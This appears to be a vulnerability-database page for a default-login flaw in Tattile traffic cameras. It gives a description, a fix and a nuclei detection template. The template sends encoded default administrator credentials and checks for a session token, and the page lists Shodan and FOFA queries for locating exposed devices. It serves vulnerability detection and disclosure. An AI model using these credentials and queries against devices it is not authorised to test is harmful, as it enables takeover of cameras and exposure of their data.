HexBrain

Browse / CVEs / CVE-2026-26341

CVE-2026-26341· CWE-1392

Tattile Camera < 1.181.5 - Default Login

highseverity
9.3CVSS score
2.9%likelihood of exploitation, next 30 days
87%of all CVEs are less likely
Readycheck to confirm it

Tattile Smart+, Vega, and Basic device families firmware <= 1.181.5 contain a broken authentication caused by default credentials not forced to be changed, letting attackers with management interface access gain administrative privileges.

Impact

Attackers can gain administrative access to device configuration and data, leading to unauthorized control and data exposure.

Fix

Update firmware to a version later than 1.181.5 or the latest available version.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains(body, "Tattile camera manager")
Send: GET /api/v1/security/login
Positive when: status_code == 200 and contains(content_type, "text/plain") and regex("^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$", body)

Run it with nuclei: nuclei -id CVE-2026-26341 -u <target>

The full check
id: CVE-2026-26341

info:
  name: Tattile Camera < 1.181.5 - Default Login
  author: 0x_Akoko
  severity: high
  description: |
   Tattile Smart+, Vega, and Basic device families firmware <= 1.181.5 contain a broken authentication caused by default credentials not forced to be changed, letting attackers with management interface access gain administrative privileges.
  impact: |
   Attackers can gain administrative access to device configuration and data, leading to unauthorized control and data exposure.
  remediation: |
   Update firmware to a version later than 1.181.5 or the latest available version.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-26341
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 9.3
    cve-id: CVE-2026-26341
    epss-score: 0.02885
    epss-percentile: 0.86984
    cwe-id: CWE-1392
    cpe: cpe:2.3:o:tattile:smart\+_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.html:"Tattile camera manager"
    fofa-query: icon_hash=="2030104257"
  tags: cve,cve2026,tattile,default-login,camera,iot

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "Tattile camera manager")
        condition: and
        internal: true

  - raw:
      - |
        GET /api/v1/security/login HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic c3VwZXJ1c2VyOnN1cGVydXNlcg==

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "text/plain")
          - regex("^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$", body)
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from